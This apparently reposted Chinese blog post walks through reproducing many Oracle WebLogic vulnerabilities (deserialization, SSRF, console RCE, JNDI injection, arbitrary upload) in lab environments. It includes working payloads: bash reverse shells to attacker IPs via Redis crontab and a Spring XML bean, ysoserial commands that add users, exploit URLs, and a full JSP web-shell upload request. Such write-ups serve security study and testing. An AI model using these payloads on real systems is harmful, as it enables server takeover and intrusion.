weblogic重要漏洞記錄

本文轉載自查看原文 2021-11-26 15:48 876

（PS：之前在freebuf發過，這里直接復制過來的，所以有些圖片會有水印）

前言

T3協議存在多個反序列化漏洞
CVE-2015-4852/CVE-2016-0638/CVE-2016-3510/CVE-2017-3248/CVE-2018-2628/CVE-2018-2893/CVE-2018-2894/CVE-2018-3191/CVE-2018-3245/CVE-2019-2890/CVE-2020-2546/CVE-2020-2555/CVE-2020-2801/CVE-2020-2883/CVE-2020-2884/CVE-2020-2915/CVE-2020-14645/CVE-2020-14756/CVE-2020-14825/
IIOP存在多個反序列化漏洞
CVE-2020-2551/CVE-2020-14644/CVE-2020-14841
web存在多個反序列化漏洞
CVE-2017-3506/CVE-2017-10271/CVE-2018-3252/CVE-2019-2725/CVE-2019-2729
此外還存在較嚴重的web漏洞
CVE-2014-4210/CVE-2018-2894/CVE-2020-14882/CVE-2020-14883/CVE-2021-2109
批量化檢測
https://github.com/rabbitmask/WeblogicScan
https://github.com/0xn0ne/weblogicScanner

XMLDecoder反序列化漏洞

CVE-2017-3506/CVE-2017-10271/CVE-2019-2725/CVE-2019-2729為同一漏洞的修補。

嘗試訪問/wls-wsat/CoordinatorPortType和/_async/AsyncResponseService

除此之外，還可能存在如下接口

/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

這些接口均以XMLDecoder解析xml，存在java反序列化導致任意代碼執行。

XMLDecoder和XMLEncoder為java.beans用來反序列化/序列化xml的一個類。

CVE-2017-3506

概述

Weblogic的WLS Security組件對外提供webservice服務，其中使用了XMLDecoder來解析用戶傳入的XML數據，在解析的過程中出現反序列化漏洞，導致可執行任意命令。

環境

JD-GUI

WebLogic 10.3.6

漏洞分析

漏洞觸發位置：wls-wsat.war

漏洞觸發URL：/wls-wsat/CoordinatorPortType（POST）

漏洞的本質：構造SOAP（XML）格式的請求，在解析的過程中導致XMLDecoder反序列化漏洞

POC:

分析漏洞調用鏈

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter

先看一下weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法

第43行，將header1變量帶入到了readHeaderOld()方法中。header1變量由第41行定義，其值為<work:WorkContext> </work:WorkContext> 標簽包裹的數據。

跟進readHeaderOld()方法（weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld）

byteArrayOutputStream，該類實現了將數據寫入字節數組的輸出流

在106行，有一句new WorkContextXmlInputAdapter(new ByteArrayInputStream(localByteArrayOutputStream.toByteArray()))，這行代碼的大致意思就是將POST傳過來的xml數據作為參數實例化WorkContextXmlInputAdapter類。

跟進至WorkContextXmlInputAdapter類中（weblogic.wsee.workarea.WorkContextXmlInputAdapter），查看其構造函數

由圖可見,構造函數直接利用XMLDecoder反序列化了傳過來的xml數據,導致了漏洞。

漏洞復現

訪問 /wls-wsat/CoordinatorPortType 返回如下頁面，則可能存在此漏洞。

漏洞不僅存在於 /wls-wsat/CoordinatorPortType 。只要是在wls-wsat包中的Uri皆受到影響，默認受到影響的Uri如下：

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

利用burp抓包,修改請求為post,content-type為text/xml,構造如下xml數據, <string></string>標簽之間分別寫存放jsp的路徑和要寫入的代碼,發送

XML的構造參考：https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.html

CVE-2017-10271

概述

CVE-2017-10271與CVE-2017-3506的漏洞原理是一樣的,只不過10271繞過了3506的補丁,我們來看下補丁是怎么處理的：

補丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法，在解析xml時，Element字段出現object標簽就拋出運行時異常

這次補丁修補得非常的簡陋，僅僅是根據POC中的object標簽進行了修補，所以很快就出現了CVE-2017-10271漏洞。CVE-2017-10271的POC與CVE-2017-3506的POC很相似，只是將object標簽換成了array或void等標簽，即可觸發遠程代碼執行漏洞。因此，在CVE-2017-10271漏洞爆發之后，Oracle官方也進行了補丁的完善，這一次的補丁考慮得比較全面，在黑名單中又添加了new,method,void,array等關鍵字進行漏洞修補，成功防御了CVE-2017-10271漏洞。

漏洞復現

我們將object換成void就可繞過此補丁，產生了CVE-2017-10271。

或者直接只用java反序列化漏洞利用工具

CVE-2019-2725

概述

CVE-2017-10271之后，官方繼續追加黑名單，除了object之外，new，method標簽被禁止，void只能有index屬性，array的class屬性只能是byte。但還有class標簽可以使用，我們要找到一個類用byte傳參，且實例化時可以造成命令執行效果。這就是CVE-2019-2725，同時，這個CVE也發現了_async漏洞。

本次反序列化漏洞繞過以往補丁的關鍵點在於利用了Class元素指定任意類名，因為CVE-2017-10271補丁限制了帶method屬性的void元素，所以不能調用指定的方法，而只能調用完成類實例化過程的構造方法。在尋找利用鏈的過程中發現UnitOfWorkChangeSet類（weblogic 12.1.3 利用org.slf4j.ext.EventData）構造方法中直接調用了JDK原生類中的readObject()方法，並且其構造方法的接收參數恰好是字節數組，這就滿足了上一個補丁中array標簽的class屬性值必須為byte的要求，再借助帶index屬性的void元素，完成向字節數組中賦值惡意序列化對象的過程，最終利用JDK 7u21反序列化漏洞造成了遠程代碼執行。通過巧妙的利用了void、array和Class這三個元素成功的打造了利用鏈，再次完美的繞過了CVE-2017-10271補丁限制。

漏洞復現

漏洞觸發點：bea_wls9_async_response.war、wsat.war

影響版本：Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3

復現環境：WebLogic 10.3.6

訪問以下目錄中的一種，如下圖所示則漏洞：

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

bp在當前頁面抓包:

CVE-2019-2729

CVE-2019-2729漏洞是對CVE-2019-2725漏洞補丁進行繞過，形成新的漏洞利用方式，屬於CVE-2019-2725漏洞的變形繞過。

因為<class> 標簽是漏洞利用所必須的，因此Oracle在CVE-2019-2725補丁中將該標簽加入了黑名單。

然而，對JDK 1.6來說，<class>可以被<array method=”forName”>這種反射形式所替代。因此，使用標簽<array method=”forName”>替換<class>標簽就可以繞過黑名單。

Weblogic 12.x版本使用的是org.slf4j.ext.EventData，以及回顯版本參考：

https://github.com/lufeirider/CVE-2019-2725

T3協議反序列化漏洞

CVE-2018-2628

概述

WebLogic T3協議反序列化命令執行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通訊協議的實現中存在反序列化漏洞。遠程攻擊者通過T3協議在Weblogic Server中執行反序列化操作，利用RMI（遠程方法調用）機制的缺陷，通過 JRMP 協議（Java遠程方法協議）達到執行任意反序列化代碼，進而造成遠程代碼執行

同為WebLogic T3引起的反序列化漏洞還有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638

漏洞復現

使用 https://www.exploit-db.com/exploits/44553中的腳本進行復現,具體使用方法見腳本。

Kail Attack ：192.168.0.162

server08 victim : 192.168.0.163

Kail 執行

1）下載ysoserial.jar

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

2）使用ysoserial.jar，啟動JRMP Server

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中，[command]是想執行的命令，而[listen port]是JRMP Server監聽的端口。這里我執行:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'

3）執行exploit.py

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中，[victim ip]和[victim port]是目標weblogic的IP和端口，[path to ysoserial]是本地（Kail系統上的）ysoserial的路徑，[JRMPListener ip]和[JRMPListener port]第一步中啟動JRMP Server的IP地址和端口。[JRMPClient]是執行JRMPClient的類，可選的值是JRMPClient或JRMPClient2

這里我執行

python2 exploit.py 192.168.0.163 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.162 1099 JRMPClient2

結果如下：

IIOP協議反序列化漏洞

CVE-2020-2551

概述

從Oracle 官方的公告中看出該漏洞存在於Weblogic核心組件，影響的協議為IIOP協議。該漏洞依然是由於調用遠程對象的實現存在缺陷，導致序列化對象可以任意構造，在使用之前未經安全檢查，導致惡意代碼被執行。

經過分析這次漏洞主要原因是錯誤的過濾JtaTransactionManager類,JtaTransactionManager父類AbstractPlatformTransactionManager在之前的補丁里面就加入到黑名單列表了,T3協議使用的是resolveClass方法去過濾的,resolveClass方法是會讀取父類的,所以T3協議這樣過濾是沒問題的。但是IIOP協議這塊,雖然也是使用的這個黑名單列表,但不是使用resolveClass方法去判斷的,這樣默認只會判斷本類的類名,而JtaTransactionManager類是不在黑名單列表里面的,它的父類才在黑名單列表里面,這樣就可以反序列化JtaTransactionManager類了,而JtaTransactionManager類是存在jndi注入的。

漏洞復現

影響版本：weblogic 10.3.6 weblogic 12.1.3.0 weblogic 12.2.1.3.0 weblogic 12.2.1.4.0

利用的exp為:https://github.com/Y4er/CVE-2020-2551

然后使用marshalsec起一個惡意的RMI服務

編輯一下exp.java

修改為(這是windows的命令執行)

如果需要linux的命令執行修改為:

然后編譯

javac exp.java -source 1.6 -target 1.6

編譯完可以直接用Python3在當前exp目錄起一個web服務

python3 -m http.server 80

然后開始攻擊

java -jar weblogic_CVE_2020_2551.jar 192.168.43.246 7001 rmi://192.168.43.50:1099/exp

或者也可以起lpad服務：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.50/#exp

java -jar weblogic_CVE_2020_2551.jar 192.168.43.246 7001 ldap://192.168.43.50:1389/exp

WebLogic 未授權訪問漏洞（CVE-2018-2894）

概述

WebLogic 未授權訪問漏洞(CVE-2018-2894)，存在兩個未授權的頁面，可以上傳任意文件，但是這兩個頁面只在開發環境下存在

影響版本：12.1.3.0, 12.2.1.2, 12.2.1.3

漏洞路徑： /ws_utc/config.do 、 /ws_utc/begin.do

漏洞復現

進入CVE-2018-2894的docker環境

這里我們首先打開docker的開發環境。這里因為不是弱口令的docker，所以這里我們執行命令看一下進入后台的密碼

docker-compose logs | grep password

使用得到的密碼登入后台,點擊高級選項

勾選啟用web服務測試頁

保存即可進入開發環境

開發環境下的測試頁有兩個，分別為config.do和begin.do

第一個上傳點/ws_utc/config.do
首先進入/ws_utc/config.do文件進行設置，將目錄設置為ws_utc應用的靜態文件css目錄，訪問這個目錄是無需權限的，這一點很重要。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

點擊添加后上傳一個jsp

提交之后點擊F12審查元素得到jsp上傳后的時間戳

構造得到

http://192.168.111.224:7001/ws_utc/css/config/keystore/1631522785686_shell.jsp

即可連接

第二個上傳點/ws_utc/begin.do

訪問http://192.168.111.224:7001/ws_utc/begin.do，上傳一個jsp

點擊提交，這里顯示一個error不用管它，在響應包中可以看到上傳地址:

構造http://192.168.111.224:7001/ws_utc/css/upload/RS_Upload_2021-09-13_09-06-54_496/import_file_name_shell.jsp

連接：

Weblogic SSRF漏洞（CVE-2014-4210）

概述

Oracle WebLogic Web Server既可以被外部主機訪問，同時也允許訪問內部主機。比如有一個jsp頁面SearchPublicReqistries.jsp，我們可以利用它進行攻擊，未經授權通過weblogic server連接任意主機的任意TCP 端口，可以能冗長的響應來推斷在此端口上是否有服務在監聽此端口，進而攻擊內網中redis、fastcgi等脆弱組件。

影響版本

10.0.2.0

10.3.6.0

驗證漏洞

訪問該路徑，如果能正常訪問，說明存在該漏洞

/uddiexplorer/SearchPublicRegistries.jsp

漏洞復現

vulhub ssrf環境

訪問/uddiexplorer/SearchPublicRegistries.jsp，填寫任意信息，點擊search,抓包

抓包之后在Burp中右鍵，選擇Change request method, 將POST請求改變成GET 。

參數operator為SSRF的可控參數，將其更改為開放的端口，如http://127.0.0.1:7001/，將返回error code

發現返回如下信息，說明開放7001端口，但是不是http協議

An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code &#40;Not Found&#41;. Please ensure that your URL is correct, and the web service has deployed without error.

若開放端口為HTTP協議，則會返回did not have a valid SOAP content-type。

訪問不存在的端口，將返回could not connect over HTTP to server

weblogic SSRF聯動Redis

漏洞復現

依舊用的上面的vulhub-weblogic-SSRF靶場

這里查一下開啟redis服務的這個容器IP，找到ip：172.20.0.2

docker inspect 39

可以看見6379的端口存在，且為http協議

本機監聽12345端口

burp改包直接將彈shell腳本到本機kail上（192.168.111.205）

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.111.205/12345 0>&1\n\n\n\n" 
config set dir /etc/ 
config set dbfilename crontab 
save

經過url編碼后，寫入bp中operator參數的后面:

operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.205%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

反彈shell成功。

Weblogic Console HTTP協議遠程代碼執行漏洞(CVE-2020-14882/CVE-2020-14883)

概述

CVE-2020-14883是越權漏洞，常常和后台代碼注入CVE-2020-14882配合，有的時候CVE-2020-14882會不好使，此時可以和CVE-2021-2109配合。

未經身份驗證的遠程攻擊者可能通過構造特殊的 HTTP GET請求，利用該漏洞在受影響的 WebLogic Server 上執行任意代碼。它們均存在於WebLogic的Console控制台組件中。此組件為WebLogic全版本默認自帶組件，且該漏洞通過HTTP協議進行利用。將CVE-2020-14882和CVE-2020-14883進行組合利用后，遠程且未經授權的攻擊者可以直接在服務端執行任意代碼，獲取系統權限。

影響版本：

10.3.6.0

12.1.3.0

12.2.1.3

12.2.1.4

14.1.1.0

漏洞復現

使用vulhub的CVE-2020-14882環境

CVE-2020-14883

權限繞過漏洞的poc：

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

訪問該url之后，進入如下頁面，可以看見成功進入管理台：

但是這里沒有部署安裝的按鈕，也就是說不能像常規進入后台后寫shell進去，這里就需要用到遠程加載XML文件拿shell

CVE-2020-14882

首先測試以下漏洞代碼執行是否成功，在/tmp/下創建一個test文件夾

訪問

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);

得到如下界面

我們進入docker查看發現文件夾已經創建成功了:

sudo docker ps

sudo docker exec -it f3a72643602a /bin/bash

這里創建一個xml文件pox.xml，使用bash命令得到反彈shell

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.111.205/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

nc開啟監聽端口，訪問

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.111.205/poc.xml")

即可得到反彈shell

CVE-2021-2109

概述

CVE-2020-14883是越權漏洞，可以和CVE-2021-2109配合使用。

CVE-2021-2109：攻擊者可構造惡意請求，造成JNDI注入，執行任意代碼，從而控制服務器。

影響版本：

WebLogic 10.3.6.0.0

WebLogic 12.1.3.0.0

WebLogic 12.2.1.3.0

WebLogic 12.2.1.4.0

WebLogic 14.1.1.0.0

漏洞復現

訪問console登陸頁面

http://192.168.2.7:7001/console/login/LoginForm.jsp

啟動LDAP

下載地址：

https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11

啟動命令

java -jar JNDIExploit-v1.11.jar -i http://192.168.2.7/

POC:

GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.2;7:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.2.7:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: id
Cookie: ADMINCONSOLESESSION=heYqQ2eUftBPoL7QV1UkuV_OIGBCFx-EF-gwXjcfSZUPtbw-p-YM!144315005
Upgrade-Insecure-Requests: 1

Weblogic弱口令&&后台getshell

概述

由於管理員的安全意識不強，或者配置時存在疏忽，會導致后台存在弱口令或者默認的用戶名/口令。

弱口令參考：https://cirt.net/passwords?criteria=WebLogic

影響版本

全版本

漏洞復現

訪問http://127.0.0.1:7001/console

自動重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp，使用弱口令登陸后台（默認用戶名weblogic ,我設置的密碼admin888）。

點擊部署->安裝

點擊上載文件，

選擇war包，點擊下一步

（PS: 將jsp馬打包成war包命令： jar -cvf shell.war shell.jsp）

上傳完成以后選中你上傳的文件,點擊下一步

選中作為應用程序安裝，點擊下一步

然后直接點擊完成即可

選用我們安裝的應用，點擊啟動即可

訪問：http://ip:port/[war包名]/[包名內文件名]

這里是http://192.168.0.163:7001/shell/shell.jsp

連接：

CVE-2019-2618/CVE-2019-2615

需要后台密碼，比較雞肋。但其一般不會被刪除接口，所以可以用來確認是否為weblogic，以及5次爆破密碼。

/bea_wls_deployment_internal/DeploymentService

/bea_wls_management_internal2/wl_management

WebLogic 任意文件上傳（CVE-2019-2618）

概述

CVE-2019-2618漏洞主要是利用了WebLogic組件中的DeploymentService接口，該接口支持向服務器上傳任意文件。攻擊者突破了OAM（Oracle Access Management）認證，設置wl_request_type參數為app_upload，構造文件上傳格式的POST請求包，上傳jsp木馬文件，進而可以獲得整個服務器的權限。

受影響WebLogic版本：10.3.6.0、12.1.3.0、12.2.1.3。

漏洞復現

漏洞前提是需要先知道weblogic的賬號密碼。（安裝時設置的賬戶和密碼為weblogic/weblogic）

構造的POST包如下所示：

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 192.168.111.129:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: weblogic
password: yourpassword
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1081

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML> 

------WebKitFormBoundary7MA4YWxkTrZu0gW--

發送數據包，返回了上傳文件的地址: